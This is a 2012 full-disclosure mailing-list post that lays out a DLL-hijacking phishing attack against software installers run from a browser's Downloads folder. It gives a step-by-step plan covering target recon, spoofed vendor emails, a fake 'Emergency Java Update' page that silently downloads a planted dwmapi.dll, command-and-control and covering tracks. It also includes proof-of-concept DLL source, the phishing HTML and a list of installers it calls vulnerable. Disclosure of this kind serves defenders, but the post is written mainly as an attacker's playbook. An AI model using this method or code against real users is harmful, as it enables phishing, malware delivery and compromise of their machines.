Date: Sat, 11 Aug 2012 17:51:18 -0700
From: Matt Howard <dreaminheks@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: DLL Hijacking Against Installers In Browser
 Download Folders for Phish and Profit

Often times trends dominate and suffocate a population. We naturally learn
by following. But occasionally in order to keep things interesting we gotta
mix it up.
We've seen DLL injections, we've seen them carefully placed in WebDAVs,
bundled in ZIPs(ugh), fixit'd, and flooding advisory lists of 2010.
So here's _just another_ method (for great justice ;), I'm not claiming
this is innovative or even that original. DLL hijacking is just the gift
that keeps giving.

There exists an often overlooked vector that is the installers themselves.
Often times we simply look at the product of the installer expecting that
to be beginning when in fact it's actually the end. What if we didn't care
how long it took to infect a host? What if we were waiting for just that
right
vulnerable application to come along and present itself? What if we could
plant a latent exploit that would activate when this vulnerable application
showed us its throat? This is all possible in one of the most commonly
known directories of all time: %USERPROFILE%\Downloads. The simplest
method sometimes just works, we forget that it's not necessary to only
target the top 10% smartest IT people with the highest levels of
access to information behind the greatest HIPS and firewalls known to man,
it only takes one DLL and one installer/update to get a foothold.


Overview:
DLL hijacking + commonly overlooked installers + a common download
directory that is rarely cleaned + a simple redirection page = phish in a
bucket.

Advantages:
-there are so many vulnerable installers that it doesn't matter as much if
they dont go fetch the first installer you throw, so long as you get that
dll in the DL folder.
-MS\d\d-\d\d\d wont/can't fix it unless they make hardfixes for individual
web browser directories (which they should, plugins should never be ran in
the download dir)
-all advantages of DLL injection: requires no strange unsigned binary to be
ran by the target, we'd like to believe that users are savvy about not
_running_ untrusted
binaries but very few will see the harm in _saving_ one. Oh and what's a
DLL? A lot of users will run the installers directly from the browser UI
without even knowing
where there Downloads folder is. The current make of chome has an option to
"remove from list" which may give the impression that it is deleted..
Deleted from view is good enough for most users and good enough for us.
Ignore show in folder. That's there for show.
-no complicated/annoying webdav setups
-not as much suspicious, snort'able, sig'able network traffic.
-can be put on any free host that will let us put our js redirector (or use
some<script>document.location=""</script>one else's for more confidence ;)
-does_not_have_to_be_performed_simultaneously, this leaves it open for
tactics.. lots. Check your access logs to verify they have the DLL and
brainstorm.
-target doesn't need to finish the installation at all because the DLLs are
loaded before displaying an interface in most cases.

Disadvantages (for the attacker):
-can't name the dll anything else for cover... Has to be its target dll
name on disk and will be impossible unless you leverage a browser spoofing
bug.
-nearly all these installers can be fixed overnight with little to no
testing needed for the new builds, this is just the part of being an
opportunist
-browsers can fix this pretty easily as well  (if DLL then if DLL in
common_list then rename file).
-assumes they leave the dll in the download directory
-they still have to click save :(   (more convincing your phish, more you
catch tho, true of all methods).
-this method will be largely HIPS/AV proof until they read this.. I imagine
the checks will be simple, another cost of opportunism.

So you've read all this and you've found the most glaring problem... How
many installers can actually be attacked in this way? Otherwise we really
have no vector at all do we?

Some stats (for dwmapi.dll alone, probably one of the best to check for):

Application installers tested - 50
Application installers vulnerable - 41 !!
Percentage - 82%
I leave it as an exercise to the readers to discover new DLLs and app
installers to check..
Currently working on automating downloading installers/auditing in a vm,
maybe more results later in the week.

Attack Method:
1.) Recon, know what they have installed. Who's going to go out get an
update for software they don't even have?
2.) Template a convincing email from pre-existing emails from the
developer/company.
3.) Setup domain, find free hosting or find a decent XSS in the dev's site.
4.) Write simple HTML to display a security update warning page or some
other nonsense (yes template again from their styles if possible),
have the browser download the DLL stager  right as the page redirects to
the devs download page, this gives the illusion they're at the vendor domain
for the real payload while distracting them with a very real installer
download page.
5.) Wait til you get a connect back or whatever your method of C&C is.. I
like to ping unlisted pastebin pages and watch the world burn.

Improving the method:
6.) remove audit trail, copy real dwapi.dll from system dir over our stager
dll and inject thread into another privileged process as the installer
 will not likely be ran for long.
7.) automating steps 2,(3?),4-5 then scanning mailing lists for potential
targets.
0.) Writing a truly fantastic payload other than calc.
8.) Writing payloads on a per app basis, shame browser history scanning
doesn't work as well but you might have some luck with scanning plugins:

A shoddy example for Oracle to fix after reading this:
http://www.java.com/getjava/
The JRE offline installer and chrome installer have been confirmed
vulnerable as of today.

dwmapi.dll:
#include <windows.h>

int dll_hijack()
{
  WinExec("calc", 0); // boring payload
  // exit(0); // ;)
  return 0;
}


BOOL WINAPI  DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
  dll_hijack();
  return 0;
}

index.html:
<html>
<head><title>Emergency Java Update</title></head>
<iframe src="/update/dwmapi.dll" width=0 height=0 style="hidden"
frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
<script type="text/JavaScript">
setTimeout("location.href = 'http://www.java.com/getjava/';",3000);
</script>
<body>
An emergency patch update has been issued for the Java Runtime Environment,
please click "Accept Download" on the 'dwmapi.dll' file.<br>
This patch is a security update and should be installed immediately, you
will be redirected to the offical Oracle site shortly.<br>
Thank you for your cooperation in this matter.</body>
</html>



Conclusions:
Practice safe library loads, don't click save, and don't be an idiot with
this.

uh.. some vulnerable installers you can use in your payloads:
http://imgur.com/wSqBC
realplayer,vlc,idafree,github,synergy,winamp,utorrent,operat,avg,itunes,7zip,safari,skype,spypod
snd,keepass,truecrypt,winzip,avast,notepad++,yahoomsgr,
pidgin,googletalk,MS sec essentials,adobe reader, google desktop, Windows
DOTNET 4.0 INSTALLER, processhacker,putty,kindle,wireshark,AMD catalyst
drivers,silver light, Intel PRO/Wireless 3945ABG, shockwave,vmware player,
IE9, virtual box, and alcohol to name a few.

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists